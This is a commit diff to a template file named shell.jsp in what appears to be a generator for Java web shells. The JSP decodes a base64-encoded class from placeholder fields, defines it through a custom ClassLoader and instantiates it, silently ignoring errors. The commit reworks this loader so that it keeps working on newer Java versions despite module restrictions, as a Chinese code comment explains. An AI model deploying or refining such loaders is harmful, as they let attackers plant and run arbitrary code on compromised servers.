fix: jsp execute fail in module system

generator/src/main/resources/shell.jsp

@@ -1,10 +1,9 @@
-<%@ page import="java.lang.Class" %>
-<%@ page import="java.lang.ClassLoader" %>
-<%@ page import="java.lang.Exception" %>
-<%@ page import="java.lang.Object" %>
-<%@ page import="java.lang.String" %>
-<%@ page import="java.lang.Thread" %>
 <%!
+    public static class ClassDefiner extends ClassLoader {
+        public ClassDefiner() {
+            super(Thread.currentThread().getContextClassLoader());
+        }
+
         public byte[] decodeBase64(String bytecodeBase64) {
             ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
             try {
@@ -21,9 +20,13 @@
                 }
             }
         }
-%>
 
-<%
+        public Class<?> defineClass(byte[] code) {
+            return defineClass(null, code, 0, code.length);
+        }
+
+        @Override
+        public String toString() {
             String className = "{{className}}";
             String base64Str = "{{base64Str}}";
             ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
@@ -31,12 +34,18 @@
                 classLoader.loadClass(className).newInstance();
             } catch (Exception e) {
                 try {
-            java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
-            defineClass.setAccessible(true);
                     byte[] bytecode = decodeBase64(base64Str);
-            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, bytecode, 0, bytecode.length);
+                    // 不弄反射啦，以免高版本这儿报 module 限制
+                    Class<?> clazz = defineClass(bytecode);
                     clazz.newInstance();
                 } catch (Exception ignored) {
                 }
             }
+            return className;
+        }
+    }
+%>
+
+<%
+    new ClassDefiner().toString();
 %>